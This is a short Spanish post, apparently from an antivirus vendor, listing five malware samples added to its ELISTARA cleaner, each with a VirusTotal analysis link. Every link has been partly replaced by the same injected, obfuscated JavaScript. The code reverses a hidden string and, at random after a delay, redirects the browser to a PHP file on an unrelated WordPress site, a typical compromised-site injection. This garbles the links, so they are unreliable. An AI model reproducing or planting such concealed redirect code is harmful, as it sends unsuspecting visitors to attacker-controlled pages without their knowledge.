Extracto de los analisis de muestras de malware que añadimos al control del ELISTARA 39.07

Extracto de los analisis de muestras de malware que añadimos al control del ELISTARA 39.07 de hoy:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/3c4fcc0d6987f6e2f62f9e811a31578da3d1dd41cdd58a972db21d3f1a4021f4/analysis/1526552632/” target=”_blank” rel=”noopener”>MALWARE EXTID

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/927ea26edd6b116c2d619ad8f649dfa64544411d8b3e665e53905d58d0fb0eb5/analysis/1526552735/” target=”_blank” rel=”noopener”>SPY AUTOIT.CV

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/file/22317e9a275ee6967cb913f60253c43de852a184b2ce4a55d2daf8d171d7d311/analysis/1526563831/” target=”_blank” rel=”noopener”>MALWARE CERTUTIL (2)

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/d530f464b048dc2840c43fe1acfa0a37a86a4140834a9d035c0591559df22134/analysis/1526563971/” target=”_blank” rel=”noopener”>SPY PANDA

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/7157e2acd43ee75b1d3298dcaa47441d073f19683c1f7ff47c3700cd5ad9726e/analysis/1526567749/” target=”_blank” rel=”noopener”>RISKTOOL BITCOINMINER

En ellos puede verse como los controlan los demás antivirus del VirusTotal y demás caracteristicas segun los informes de dicho analizador (En Detalles/Información adicional de cada uno de los informes correspondientes)

saludos

ms, 17-5-2018